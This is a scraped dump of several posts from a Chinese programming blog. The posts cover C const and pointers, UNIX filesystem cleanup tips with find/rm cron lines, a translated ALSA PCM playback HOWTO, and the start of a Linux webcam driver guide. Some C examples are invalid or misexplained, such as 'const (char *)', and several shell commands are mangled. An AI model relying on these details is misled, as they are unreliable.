限定的内容\n下面的代码编译器会报一个错误，请问，哪一个语句是错误的呢？\ntypedef char * pStr;\nchar string[4] = \u0026quot;abc\u0026quot;;\nconst char *p1 = string;\nconst pStr p2 = string;\np1++;\np2++; 答案与分析：\n问题出在p2++上。\n1)、const使用的基本形式： const char m; 限定m不可变。\n2)、替换1式中的m, const char *pm; 限定*pm不可变，当然pm是可变的，因此问题中p1++是对的。\n3)、替换1式char, const newType m; 限定m不可变，问题中的charptr就是一种新类型，因此问题中p2不可变，p2++是错误的。\n问题：const变量 \u0026amp; 字符串常量\n请问下面的代码有什么问题？\nchar *p = \u0026quot;i\u0026#8217;m hungry!\u0026quot;;\np[0]= \u0026#8216;I\u0026#8217;; 答案与分析：\n上面的代码可能会造成内存的非法写操作。分析如下， \u0026ldquo;i\u0026#8217;m hungry\u0026rdquo;实质上是字符串常量，而常量往往被编译器放在只读的内存区，不可写。p初始指向这个只读的内存区，而p[0] = \u0026#8216;I\u0026#8217;则企图去写这个地方，编译器当然不会答应。\n问题：const变量 \u0026amp; 字符串常量2\n请问char a[3] = \u0026quot;abc\u0026quot; 合法吗？使用它有什么隐患？ 答案与分析：\n在标准C中这是合法的，但是它的生存环境非常狭小；它定义一个大小为3的数组，初始化为\u0026ldquo;abc\u0026rdquo;，，注意，它没有通常的字符串终止符\u0026#8221;，因此这个数组只是看起来像C语言中的字符串，实质上却不是，因此所有对字符串进行处理的函数，比如strcpy、printf等，都不能够被使用在这个假字符串上。\n问题5：const \u0026amp; 指针\n类型声明中const用来修饰一个常量，有如下两种写法，那么，请问，下面分别用const限定不可变的内容是什么?\n1)、const在前面\nconst int nValue； //nValue是const\nconst char *pContent; //*pContent是const, pContent可变\nconst (char *) pContent;//pContent是const,*pContent可变\nchar* const pContent; //pContent是const,*pContent可变\nconst char* const pContent; //pContent和*pContent都是const 2)、const在后面，与上面的声明对等\nint const nValue； // nValue是const\nchar const * pContent;// *pContent是const, pContent可变\n(char *) const pContent;//pContent是const,*pContent可变\nchar* const pContent;// pContent是const,*pContent可变\nchar const* const pContent;// pContent和*pContent都是const 答案与分析：\nconst和指针一起使用是C语言中一个很常见的困惑之处，在实际开发中，特别是在看别人代码的时候，常常会因为这样而不好判断作者的意图，下面讲一下我的判断原则：\n沿着*号划一条线，如果const位于*的左侧，则const就是用来修饰指针所指向的变量，即指针指向为常量；如果const位于*的右侧，const就是修饰指针本身，即指针本身是常量。你可以根据这个规则来看上面声明的实际意义，相信定会一目了然。\n另外，需要注意：对于const (char *) ; 因为char *是一个整体，相当于一个类型(如 char)，因此，这是限定指针是const。 另＝＝＝＝＝＝＝\nconst用于函数时出现三个位置:\n例如:\nconst returnVal\u0026nbsp;\u0026nbsp; function (const list_array)const;\n形式不过如此\n第一个const意思是:返回值是常量\n第二个const意思是:函数过程中不能修改list_array的值\n第三个const意思是:函数过程不能隐式的修改function参数的值\n＝＝＝\nconst char*, char const*, char*const的区别问题几乎是C++面试中每次都会有的题目。 事实上这个概念谁都有只是三种声明方式非常相似很容易记混。 Bjarne在他的The C++ Programming Language里面给出过一个助记的方法： 把一个声明从右向左读。 char * const cp; ( * 读成 pointer to ) cp is a const pointer to char const char * p; p is a pointer to const char; char const * p; 同上因为C++里面没有const*的运算符，所以const只能属于前面的类型。 另:下面定义的一个指向字符串的常量指针： char * const prt1 = stringprt1; 其中，ptr1是一个常量指针。因此，下面赋值是非法的。 ptr1 = stringprt2; 而下面的赋值是合法的： *ptr1 = \u0026quot;m\u0026quot;; 因为指针ptr1所指向的变量是可以更新的，不可更新的是常量指针ptr1所指的方向(别的字符串)。\n下面定义了一个指向字符串常量的指针： const * ptr2 = stringprt1; 其中，ptr2是一个指向字符串常量的指针。ptr2所指向的字符串不能更新的，而ptr2是可以更新的。因此， *ptr2 = \u0026quot;x\u0026quot;; 是非法的，而： ptr2 = stringptr2; 是合法的。 所以，在使用const修饰指针时，应该注意const的位置。定义一个指向字符串的指针常量和定义一个指向字符串常量的指针时，const修饰符的位置不同，前者const放在*和指针名之间，后者const放在类型说明符前。\n","permalink":"https://hessian.cn/p/576.html","summary":" 基本解释\nconst是一个C语言的关键字，它限定一个变量不允许被改变。使用const在一定程度上可以提高程序的健壮性，另外，在观看别人代码的时候，清晰理解const所起的作用，对理解对方的程序也有一些帮助。\n虽然这听起来很简单，但实际上，const的使用也是c语言中一个比较微妙的地方，微妙在何处呢？请看下面几个问题。\n问题：const变量 \u0026amp; 常量\n为什么我象下面的例子一样用一个const变量来初始化数组，ANSI C的编译器会报告一个错误呢？\nconst int n = 5;\nint a[n]; 答案与分析:\n1）、这个问题讨论的是\u0026ldquo;常量\u0026rdquo;与\u0026ldquo;只读变量\u0026rdquo;的区别。常量肯定是只读的，例如5， \u0026ldquo;abc\u0026rdquo;，等，肯定是只读的，因为程序中根本没有地方存放它的值，当然也就不能够去修改它。而\u0026ldquo;只读变量\u0026rdquo;则是在内存中开辟一个地方来存放它的值，只不过这个值由编译器限定不允许被修改。C语言关键字const就是用来限定一个变量不允许被改变的修饰符（Qualifier）。上述代码中变量n被修饰为只读变量，可惜再怎么修饰也不是常量。而ANSI C规定数组定义时维度必须是\u0026ldquo;常量\u0026rdquo;，\u0026ldquo;只读变量\u0026rdquo;也是不可以的。\n2)、注意：在ANSI C中，这种写法是错误的，因为数组的大小应该是个常量，而const int n,n只是一个变量（常量 != 不可变的变量，但在标准C++中，这样定义的是一个常量，这种写法是对的），实际上，根据编译过程及内存分配来看，这种用法本来就应该是合理的，只是ANSI C对数组的规定限制了它。\n3)、那么，在ANSI C 语言中用什么来定义常量呢？答案是enum类型和#define宏，这两个都可以用来定义常量。 问题：const变量 \u0026amp; const 限定的内容\n下面的代码编译器会报一个错误，请问，哪一个语句是错误的呢？\ntypedef char * pStr;\nchar string[4] = \u0026quot;abc\u0026quot;;\nconst char *p1 = string;\nconst pStr p2 = string;\np1++;\np2++; 答案与分析：\n问题出在p2++上。\n1)、const使用的基本形式： const char m; 限定m不可变。\n2)、替换1式中的m, const char *pm; 限定*pm不可变，当然pm是可变的，因此问题中p1++是对的。\n3)、替换1式char, const newType m; 限定m不可变，问题中的charptr就是一种新类型，因此问题中p2不可变，p2++是错误的。\n问题：const变量 \u0026amp; 字符串常量\n请问下面的代码有什么问题？\nchar *p = \u0026quot;i\u0026#8217;m hungry!\u0026quot;;\np[0]= \u0026#8216;I\u0026#8217;; 答案与分析：\n上面的代码可能会造成内存的非法写操作。分析如下， \u0026ldquo;i\u0026#8217;m hungry\u0026rdquo;实质上是字符串常量，而常量往往被编译器放在只读的内存区，不可写。p初始指向这个只读的内存区，而p[0] = \u0026#8216;I\u0026#8217;则企图去写这个地方，编译器当然不会答应。\n问题：const变量 \u0026amp; 字符串常量2\n请问char a[3] = \u0026quot;abc\u0026quot; 合法吗？使用它有什么隐患？ 答案与分析：\n在标准C中这是合法的，但是它的生存环境非常狭小；它定义一个大小为3的数组，初始化为\u0026ldquo;abc\u0026rdquo;，，注意，它没有通常的字符串终止符\u0026#8221;，因此这个数组只是看起来像C语言中的字符串，实质上却不是，因此所有对字符串进行处理的函数，比如strcpy、printf等，都不能够被使用在这个假字符串上。\n问题5：const \u0026amp; 指针\n类型声明中const用来修饰一个常量，有如下两种写法，那么，请问，下面分别用const限定不可变的内容是什么?\n1)、const在前面\nconst int nValue； //nValue是const\nconst char *pContent; //*pContent是const, pContent可变\nconst (char *) pContent;//pContent是const,*pContent可变\nchar* const pContent; //pContent是const,*pContent可变\nconst char* const pContent; //pContent和*pContent都是const 2)、const在后面，与上面的声明对等\nint const nValue； // nValue是const\nchar const * pContent;// *pContent是const, pContent可变\n(char *) const pContent;//pContent是const,*pContent可变\nchar* const pContent;// pContent是const,*pContent可变\nchar const* const pContent;// pContent和*pContent都是const 答案与分析：\nconst和指针一起使用是C语言中一个很常见的困惑之处，在实际开发中，特别是在看别人代码的时候，常常会因为这样而不好判断作者的意图，下面讲一下我的判断原则：\n沿着*号划一条线，如果const位于*的左侧，则const就是用来修饰指针所指向的变量，即指针指向为常量；如果const位于*的右侧，const就是修饰指针本身，即指针本身是常量。你可以根据这个规则来看上面声明的实际意义，相信定会一目了然。\n另外，需要注意：对于const (char *) ; 因为char *是一个整体，相当于一个类型(如 char)，因此，这是限定指针是const。 另＝＝＝＝＝＝＝\nconst用于函数时出现三个位置:\n例如:\nconst returnVal\u0026nbsp;\u0026nbsp; function (const list_array)const;\n形式不过如此\n第一个const意思是:返回值是常量\n第二个const意思是:函数过程中不能修改list_array的值\n第三个const意思是:函数过程不能隐式的修改function参数的值\n＝＝＝\nconst char*, char const*, char*const的区别问题几乎是C++面试中每次都会有的题目。 事实上这个概念谁都有只是三种声明方式非常相似很容易记混。 Bjarne在他的The C++ Programming Language里面给出过一个助记的方法： 把一个声明从右向左读。 char * const cp; ( * 读成 pointer to ) cp is a const pointer to char const char * p; p is a pointer to const char; char const * p; 同上因为C++里面没有const*的运算符，所以const只能属于前面的类型。 另:下面定义的一个指向字符串的常量指针： char * const prt1 = stringprt1; 其中，ptr1是一个常量指针。因此，下面赋值是非法的。 ptr1 = stringprt2; 而下面的赋值是合法的： *ptr1 = \u0026quot;m\u0026quot;; 因为指针ptr1所指向的变量是可以更新的，不可更新的是常量指针ptr1所指的方向(别的字符串)。\n下面定义了一个指向字符串常量的指针： const * ptr2 = stringprt1; 其中，ptr2是一个指向字符串常量的指针。ptr2所指向的字符串不能更新的，而ptr2是可以更新的。因此， *ptr2 = \u0026quot;x\u0026quot;; 是非法的，而： ptr2 = stringptr2; 是合法的。 所以，在使用const修饰指针时，应该注意const的位置。定义一个指向字符串的指针常量和定义一个指向字符串常量的指针时，const修饰符的位置不同，前者const放在*和指针名之间，后者const放在类型说明符前。\n","title":"C中const的使用"},{"content":"http://meshikar.woku.com/article/1237740.html\n懒得分页发了\n","permalink":"https://hessian.cn/p/558.html","summary":"http://meshikar.woku.com/article/1237740.html\n懒得分页发了\n","title":"UNIX 高手的 10 个习惯"},{"content":"文件系统是整个UNIX系统中与用户关系最密切，用户操作最频繁的部分，随着系统运行时间的延续，文件系统的使用效率也跟着下降，这主要表现为：硬盘空间的减少，垃圾信息的增加，寻址时间的增加等。本文将介绍几种提高文件系统使用效率的方法，和大家共享，欢迎更正和补充。\n首先，我们应该对 UNIX文件系统的结构有一个了解。文件系统是UNIX系统中的文件，目录，以及对这些文件和目录进行管理的数据结构的总称。UNIX文件系统包括引导块、超级块、i节点区、文件存储区、进程对换区等几部分。引导块占用第0号物理块，不属于文件系统管辖，如果系统中有多个文件系统，只有根文件系统才有引导程序放在引导块中，其余文件系统都不使用引导块；超级块占用第1号物理块，是文件系统的控制块，超级块包括：文件系统的大小、空闲块数目、空闲块索引表、空闲i节点数目、空闲i节点索引表、封锁标记等。超级块是系统为文件分配存储空间、回收存储空间的依据。而i节点是对文件进行控制和管理的一种数据结构。一个文件对应一个i节点，每个i节点都有一个唯一的i节点号，i节点由64个字节组成，保存了文件的属性和类型、存放文件内容的物理块地址、最近一次的存取时间、最近一次的修改时间、创建此文件的时间。要注意哦：i节点中并不包括文件名，文件名和文件占用的i节点的i节点号放在目录文件的目录项中。文件存储区是存放文件内容的区域，文件存储区中各数据块的使用情况在超级块中由记录，系统利用超级块中的记录完成对数据块的分配和回收。在文件系统的末尾还可能有进程对换区，这里保留了对换到内存中的进程的映象，它不属于文件系统管辖。相信通过上面的这段文字，兄弟们应该对文件系统有一个大致的了解了。 为提高UNIX系统的运行效率，文件系统应该保持一定的空闲空间，理论上，空闲空间至少应占文件系统总空间的15％，当空闲空间小于总空间的15％时， UNIX系统操作将明显变慢！因此系统管理员应该了解文件系统空闲时间和i节点的使用情况，保证系统的高效运行。系统管理员可以使用df命令了解空闲空间和i节点的使用情况。使用\u0026ldquo;df －v 文件系统\u0026rdquo;命令，可以显示文件系统的使用情况：该文件系统数据块的总数、已使用数据块的数量、空闲数据块的数量、使用的数据快占总数据块的百分比。如果想显示文件系统的i节点总数、空闲i节点的数目、已使用i节点数目以及已使用i节点占总i节点的百分比，可使用－i选项。比如在Solaris下，可执行： df －o i（注意哦：i前没有\u0026ldquo;－\u0026rdquo;）。 当文件系统中的空闲空间减少，以至于使文件系统的效率降低时，可采用以下措施： 1．删除临时目录下的文件 临时目录下存放的都是临时文件，临时文件是在程序执行期间根据需要创建的，但没有被及时删除。系统中的临时目录一般有/var/tmp、/tmp和 /usr/tmp。管理员可以手工删除他们，也可以建立一个作业调度，使清理工作自动进行。比如在 /usr/spool/cron/crontabs/root中加入以下代码： 30 2 * * * find /var/tmp \u0026ndash;atime 7 \u0026ndash;exec rm{} ; \u0026gt;/dev/null 30 2 * * * find /usr/tmp \u0026ndash;atime 7 \u0026ndash;exec rm{} ; \u0026gt;/dev/null 30 2 * * * find /tmp \u0026ndash;atime 7 \u0026ndash;exec rm{} ; \u0026gt;/dev/null 2．删除core文件 当系统中一些进程由于收到一些信号而非正常结束时，系统便建立一个core文件，记录进程当时的一些信息，包括进程状态、数据以及硬件寄存器的值等。在这些core文件没有用的时候，可以考虑删除它们。core文件的删除，应该首先确认要删除的core文件是否还有使用价值，可通过file core命令查看是由哪些进程产生的，在确认对调试程序没用的时候再进行删除，也可以通过下面的命令来删除10天内未存取过的core文件：find / -name core \u0026ndash;atime +10 \u0026ndash;exec rm \u0026ndash;f {} 3．清除系统日志文件 日志文件包含了有关系统运行情况的信息和用户访问系统的情况，系统在运行过程中，会不断地把新的信息添加到日志文件中，因此日志文件会急剧增多，系统中主要的日志文件有： /usr/adm/acct 记帐日志文件； /usr/adm/messages 系统信息日志文件； /usr/adm/sulog 命令使用日志文件； /usr/adm/vold.log 卷管理日志文件； /usr/spool/uucp/LOGFILE uucp的记录； /usr/spool/uucp/.Log/.Old/* 旧的uucp日志文件； /usr/spool/lp/logs/requests 打印请求记录； /var/log/syslog 系统日志文件。 上述有的日志文件对分析系统出现的故障有帮助，因此在清除时要慎重。 4．压缩不常使用的文件 对平时不经常使用的文件可以进行压缩，以便节省空间，压缩与解压缩的命令有：compress和uncompress；gzip和gunzip等命令。 5．减少小文件的使用 文件系统中的i节点数目是一定的，系统中如果小文件太多，会浪费很多的i节点，这样可能会导致系统中虽然还有磁盘空间，但无法创建新文件的情况。可以把多个小文件合并成一个大文件以节省i节点，也可以删除系统中不再需要的文件。 6．增加文件系统i节点的数目 从文件系统的结构看，一个文件占用一个i节点和若干个数据块。当i节点用完时，可考虑在硬盘上重新建立文件系统，指定比较大的i节点数目。这时首先要备份原文件系统，然后卸载该文件系统，使用mkfs重新建立文件系统，指定更大的i节点数目，该命令的格式为： ＃mkfs 设备文件数目：新的i节点数目关于i节点数，管理员应该根据实际情况，综合考虑存储设备的物理大小和文件系统中文件的平均大小等因素来定，个人认为，并不是越多越好。在新建文件系统后，可通过df \u0026ndash;o i命令，参考原来文件系统的节点数，来定义新的i节点数。把新的文件系统安装到系统中，最后利用备份恢复文件系统的内容。 来自：天极网\n","permalink":"https://hessian.cn/p/510.html","summary":"文件系统是整个UNIX系统中与用户关系最密切，用户操作最频繁的部分，随着系统运行时间的延续，文件系统的使用效率也跟着下降，这主要表现为：硬盘空间的减少，垃圾信息的增加，寻址时间的增加等。本文将介绍几种提高文件系统使用效率的方法，和大家共享，欢迎更正和补充。\n","title":"在Linux中如何提高文件系统的使用效率"},{"content":"最近在写一个LINUX下的播放器,在做音频输出的时候想到了ALSA-LIB,这是LINUX下音频输出的一个库,差不多是事实标准了.所以我找了这么一篇HOWTO作为参考.为了加深理解,我把其中最重要也是大家最常用到的回放(PLAYBACK)部分的文字翻译了一遍.由于本人尚未通过英语4级,译文难免有大把错误,还请众位看官不吝指正. ALSA 0.9.0 HOWTO \u0026#8212; 基本PCM音频 作者: Matthias Nagorni 译者: Kevin Lei 转载请注明出处:http://blog.csdn.net/kevinleicn/ 1. 介绍 这个HOWTO计划提供一个简短的介绍,使用ALSA 0.9.0写一个简单的音频应用程序. Section2解释了PCM音频最基本的函数.如果你删除其中的解释文本,那么最后你会得到一个极小的PCM回放程序. Section3简短地讨论了一些PCM截获函数. 在Section4 你将学习怎么为ALSA音序器写一个简单的客户端.这一章节基于seqdemo.c这个例子,一个可以接收MIDI事件并且表示大多数重要的事件类型的程序.Section5演示ALSA MIDI音序器怎样被用于\u0026quot;路由\u0026quot;MIDI事件,从一个输入端口到一些输出端口.这一段基于midiroute.c这个例子. Section6 使PCM回放和MIDI输入联结起来,并且解释了迷你合成器\u0026#8211;miniFMsynth.c.这一章节引入基于回调的音频回放,就像Paul Davis在linux-audio-dev邮件列表里建议的那样.Section7对基于ALSA音序器队列的MIDI调度提供一个短小的介绍,基于 miniArp.c这个例子. 推荐你也看看doxygen生成的ALSA库函数参考. 编译一个ALSA应用程序: 只要用-lasound参数并且确保你已包含了 #include \u0026lt;alsa/asoundlib.h\u0026gt; 2. 基本PCM音频 为ALSA 0.9.0写一个简单的PCM应用程序我们首先需要一个PCM设备的句柄.然后我们必须指定同时可供回放或截获的PCM流的方向.我们同样必须提供一些关于我们想要使用的设置选项的信息,比如缓冲区大小,采样率,PCM数据格式等.所以,首先我们声明: /* Handle for the PCM device */ snd_pcm_t *pcm_handle; /* Playback stream */ snd_pcm_stream_t stream = SND_PCM_STREAM_PLAYBACK; /* This structure contains information about */ /* the hardware and can be used to specify the */ /* configuration to be used for the PCM stream. */ snd_pcm_hw_params_t *hwparams; 最重要的ALSA PCM设备接口是\u0026quot;plughw\u0026quot;和\u0026quot;hw\u0026quot;接口. 如果你使用\u0026quot;plughw\u0026quot;接口,你不需要很在意声卡硬件.如果你的声卡不支持你指定的采样率或采样格式,你的数据将自动被转换.这同样适用于声道的访问类型和号码.对于\u0026quot;hw\u0026quot;接口,你必须检查你的硬件是否支持你想要使用的设置选项. /* Name of the PCM device, like plughw:0,0 */ /* The first number is the number of the soundcard, */ /* the second number is the number of the device. */ char *pcm_name; 然后我们初始化变量并分配一个hwparams结构: /* Init pcm_name. Of course, later you */ /* will make this configurable ;-) */ pcm_name = strdup(\u0026quot;plughw:0,0\u0026quot;); /* Allocate the snd_pcm_hw_params_t structure on the stack. */ snd_pcm_hw_params_alloca(\u0026amp;hwparams); 现在我们可以打开PCM设备: /* Open PCM. The last parameter of this function is the mode. */ /* If this is set to 0, the standard mode is used. Possible */ /* other values are SND_PCM_NONBLOCK and SND_PCM_ASYNC. */ /* If SND_PCM_NONBLOCK is used, read / write access to the */ /* PCM device will return immediately. If SND_PCM_ASYNC is */ /* specified, SIGIO will be emitted whenever a period has */ /* been completely processed by the soundcard. */ if (snd_pcm_open(\u0026amp;pcm_handle, pcm_name, stream, 0) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error opening PCM device %sn\u0026quot;, pcm_name); return(-1); } 在我们可以往声卡写PCM数据之前,我们必须指定访问类型,采样格式,采样率,声道号码,周期数目以及周期大小.首先,我们以声卡的全部设置选项空间来初始化hwparams结构. /* Init hwparams with full configuration space */ if (snd_pcm_hw_params_any(pcm_handle, hwparams) \u0026lt; 0) { fprintf(stderr, \u0026quot;Can not configure this PCM device.n\u0026quot;); return(-1); } 关于合适的设置选项的信息,能使用命名了的函数的一个集合来获得. snd_pcm_hw_params_can_\u0026lt;capability\u0026gt; snd_pcm_hw_params_is_\u0026lt;property\u0026gt; snd_pcm_hw_params_get_\u0026lt;parameter\u0026gt; 绝大多数重要的参数的可用性,换句话说,访问类型,缓冲区大小,声道号码,采样格式,采样率,以及周期数目,可以以函数命名的一个集合来检验. snd_pcm_hw_params_test_\u0026lt;parameter\u0026gt; 如果\u0026quot;hw\u0026quot;接口被使用,这些查询函数尤其重要.设置选项空间能以一个函数命名的集合限制在某一设置选项 snd_pcm_hw_params_set_\u0026lt;parameter\u0026gt; 例如,我们假设声卡可以被设置为16位,Little Endian数据的立体声回放,44100Hz采样率.相应地,我们限制设置选项空间匹配于这个设置选项: int rate = 44100; /* Sample rate */ int exact_rate; /* Sample rate returned by */ /* snd_pcm_hw_params_set_rate_near */ int dir; /* exact_rate == rate \u0026#8211;\u0026gt; dir = 0 */ /* exact_rate \u0026lt; rate \u0026#8211;\u0026gt; dir = -1 */ /* exact_rate \u0026gt; rate \u0026#8211;\u0026gt; dir = 1 */ int periods = 2; /* Number of periods */ snd_pcm_uframes_t periodsize = 8192; /* Periodsize (bytes) */ 访问类型指定了哪一个多声道数据储存在缓冲区的方法.对于交错访问,缓冲区里的每一个帧为声道容纳连续的采样数据.对于16位立体声数据,这意味着缓冲区以字为单位为左右声道交错地容纳采样数据.对于非交错访问,每一个周期为第一个声道容纳所有采样数据接着是第二个声道的采样数据. /* Set access type. This can be either */ /* SND_PCM_ACCESS_RW_INTERLEAVED or */ /* SND_PCM_ACCESS_RW_NONINTERLEAVED. */ /* There are also access types for MMAPed */ /* access, but this is beyond the scope */ /* of this introduction. */ if (snd_pcm_hw_params_set_access(pcm_handle, hwparams, SND_PCM_ACCESS_RW_INTERLEAVED) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting access.n\u0026quot;); return(-1); } /* Set sample format */ if (snd_pcm_hw_params_set_format(pcm_handle, hwparams, SND_PCM_FORMAT_S16_LE) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting format.n\u0026quot;); return(-1); } /* Set sample rate. If the exact rate is not supported */ /* by the hardware, use nearest possible rate. */ exact_rate = rate; if (snd_pcm_hw_params_set_rate_near(pcm_handle, hwparams, \u0026amp;exact_rate, 0) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting rate.n\u0026quot;); return(-1); } if (rate != exact_rate) { fprintf(stderr, \u0026quot;The rate %d Hz is not supported by your hardware.n ==\u0026gt; Using %d Hz instead.n\u0026quot;, rate, exact_rate); } /* Set number of channels */ if (snd_pcm_hw_params_set_channels(pcm_handle, hwparams, 2) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting channels.n\u0026quot;); return(-1); } /* Set number of periods. Periods used to be called fragments. */ if (snd_pcm_hw_params_set_periods(pcm_handle, hwparams, periods, 0) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting periods.n\u0026quot;); return(-1); } 缓冲区尺寸的单元依赖于函数.一些时候是字节,一些时候是必须指定的帧的数目.一个帧是对所有声道的采样数据数组.对于16位立体声数据,一个帧的长度是4个字节. /* Set buffer size (in frames). The resulting latency is given by */ /* latency = periodsize * periods / (rate * bytes_per_frame) */ if (snd_pcm_hw_params_set_buffer_size(pcm_handle, hwparams, (periodsize * periods)\u0026gt;\u0026gt;2) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting buffersize.n\u0026quot;); return(-1); } 如果你的硬件不支持2的N次方的缓冲区大小,你可以使用snd_pcm_hw_params_set_buffer_size_near函数.这个函数工作起来与snd_pcm_hw_params_set_rate_near相似.现在我们为PCM设备申请由pcm_handle指向的设置选项.这同样也将准备好PCM设备. /* Apply HW parameter settings to */ /* PCM device and prepare device */ if (snd_pcm_hw_params(pcm_handle, hwparams) \u0026lt; 0) { fprintf(stderr, \u0026quot;Error setting HW params.n\u0026quot;); return(-1); } 在PCM设备被设置以后,我们可以开始对其写PCM数据.第一个写访问将开始PCM回放.对于交错写访问,我们使用函数: /* Write num_frames frames from buffer data to */ /* the PCM device pointed to by pcm_handle. */ /* Returns the number of frames actually written. */ snd_pcm_sframes_t snd_pcm_writei(pcm_handle, data, num_frames); 对于非交错访问,我们将必须使用函数: /* Write num_frames frames from buffer data to */ /* the PCM device pointed to by pcm_handle. */ /* Returns the number of frames actually written. */ snd_pcm_sframes_t snd_pcm_writen(pcm_handle, data, num_frames); 在PCM回放开始之后,我们必须确保我们的应用程序发送足够的数据到声卡缓冲区.否则,将发生缓冲区欠载.当这样一个缓冲区欠载发生以后,snd_pcm_prepare将被调用.一个简单的立体声锯齿波能以这样的方式生成: unsigned char *data; int pcmreturn, l1, l2; short s1, s2; int frames; data = (unsigned char *)malloc(periodsize); frames = periodsize \u0026gt;\u0026gt; 2; for(l1 = 0; l1 \u0026lt; 100; l1++) { for(l2 = 0; l2 \u0026lt; num_frames; l2++) { s1 = (l2 % 128) * 100 \u0026#8211; 5000; s2 = (l2 % 256) * 100 \u0026#8211; 5000; data[4*l2] = (unsigned char)s1; data[4*l2+1] = s1 \u0026gt;\u0026gt; 8; data[4*l2+2] = (unsigned char)s2; data[4*l2+3] = s2 \u0026gt;\u0026gt; 8; } while ((pcmreturn = snd_pcm_writei(pcm_handle, data, frames)) \u0026lt; 0) { snd_pcm_prepare(pcm_handle); fprintf(stderr, \u0026quot;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt; Buffer Underrun \u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;n\u0026quot;); } } 如果我们想中止回放,我们既可以使用snd_pcm_drop,也可以使用snd_pcm_drain.第一个函数将立即中止回放并丢弃未回放的帧.后一个函数将在回放完所有帧后中止回放. /* Stop PCM device and drop pending frames */ snd_pcm_drop(pcm_handle); /* Stop PCM device after pending frames have been played */ snd_pcm_drain(pcm_handle); (全文完) 参考链接: 原文 http://www.suse.de/~mana/alsa090_howto.html Linux音频编程指南 http://www-128.ibm.com/developerworks/cn/linux/l-audio/ A Tutorial on Using the ALSA Audio API http://www.equalarea.com/paul/alsa-audio.html The ALSA library API reference http://www.alsa-project.org/alsa-doc/alsa-lib/ 编辑者： kevinleicn (06-08-15 19:05)\n","permalink":"https://hessian.cn/p/386.html","summary":"最近在写一个LINUX下的播放器,在做音频输出的时候想到了ALSA-LIB,这是LINUX下音频输出的一个库,差不多是事实标准了.所以我找了这么一篇HOWTO作为参考.为了加深理解,我把其中最重要也是大家最常用到的回放(PLAYBACK)部分的文字翻译了一遍.由于本人尚未通过英语4级,译文难免有大把错误,还请众位看官不吝指正. ALSA 0.9.0 HOWTO \u0026#8212; 基本PCM音频 作者: Matthias Nagorni 译者: Kevin Lei 转载请注明出处:http://blog.csdn.net/kevinleicn/ 1. 介绍 这个HOWTO计划提供一个简短的介绍,使用ALSA 0.9.0写一个简单的音频应用程序. ","title":"[转]ALSA 0.9.0 HOWTO — 基本PCM音频"},{"content":"作者：北南南北\n来自：LinuxSir.Org\n摘要：本文主要内容是摄像头（WebCam）在Linux操作系统中的驱动方法；本文是以源码码编译的方法来安装驱动程序的；虽然能把摄像驱动起来，但缺少好的视频聊天程序。看来只能一步一步的来了。希望就在眼前； 本文正在修正中\u0026#8230;..请指点，谢谢～～\n目录\n1、摄像头(Webcam)驱动说明； 1.1 摄像头在Linux中是如何支持的；\n1.2 摄像头（Webcam）驱动网址； 2、驱动摄像头详细过程； 2.1 查看摄像头型号；\n2.2 根据摄像头信息到驱动网站对号入座；\n2.3 摄像头驱动的选择；\n2.4 下载并编译内核； 2.41 下载内核；\n2.42 编译内核； 2.5 编译摄像头驱动程序； 2.51 下载摄像头驱动；\n2.52 解压编译； 3、摄像头应用程序 SpcaView； 3.1 SpcaView 软件包说明；\n3.2 通用spcaview来测试摄像头； 4、支持WebCam的即时通讯工具； 4.1 aMSN (MSN客户端） ;\n4.2 Mercury (MSN客户端）\n4.3 4.3 Gaimvv 5、未尽事宜；\n6、关于本文；\n7、更新日志；\n8、参考文档；\n9、相关文档； +++++++++++++++++++++++++++++++++++++++++++++\n正文\n+++++++++++++++++++++++++++++++++++++++++++++\n1、摄像头(Webcam)驱动说明；\n摄像头在Windows的驱动极为容易，最多是点几下鼠标，没有什么太大的难度。但在Linux中，驱动起来是有点困难，这并不是说Linux多高雅。只能说开发商唯利是图，没有好处的事，他们的确不怎么积极。Linux 的用户比较少，所以他们也不把用户当回事。\n目前看来摄像头（Webcam）在 Linux 中驱动基本成熟，缺少的是应用程序的支持，比如即时通讯工具支持视频的好程序比较少。有些芯片组是没有任何问题，在国内，大多摄像头的芯片组是Z- Star，也有显示为Vimmicro（和Z-Star是同样的芯片）的。在Fedora 5.0或SuSE 10.x中，已经支持了很多摄像头，应该说即插即用。对于我们来说，是不是即插即用，那是另一回事，只有幸运儿才有这个的福气。如果您的摄像头接上还是用不了，那您就有必要看一下我写的这个文档了。\n本文操作环境： Fedora Core 5.0 。由于大部份是用源码包编译 ，所以还是有通用性的；\n1.1 摄像头在Linux中是如何支持的；\n在 Linux中，硬件的驱动程序，都是由内核支持的；目前比较新内核版本也集成了一些的摄像头驱动。就是Fedora、SuSE最新版本所支持的内核也是来自由 kernel.org 。所以支持也是极为正常的。内核对硬件的支持分为内置于和外挂模块两种方便。对于摄像头来说，大多是模块支持的；\n1.2 摄像头（Webcam）驱动网址；\nhttp://mxhaard.free.fr\n目前最新版本的摄像头驱动，已经到了 spca5xx-20060501.tar.gz 版本；您可以在上面的地址下载；\n2、驱动摄像头详细过程；\n2.1 查看摄像头型号；\n我们用用到 lshal 工具，在老版本的Linux是没有这个工具的。在最新版本的Linux都有这个工具；\n[root@localhost ~]# lshal |grep WebCam\n\u0026nbsp;\u0026nbsp; info.product = 'ZC0303 WebCam' (string)\n\u0026nbsp;\u0026nbsp; usb_device.product = 'ZC0303 WebCam' (string) 上面这个命令是列出系统硬件设备，然后从输出中，提取WebCam字样的信息。这说明这个摄像头是ZC0303芯片组的；如果想更详细的，就用下面的命令，找到带有ZC0303 WebCam设备的详细信息，就把所有USB设备都列出来；\n[root@localhost ~]# lshal |grep usb 然后就找 ZC0303字样的设备 ，那一大段都要仔细的看；\n也可以这样的方法；\n[root@localhost ~]# lshal -s |grep 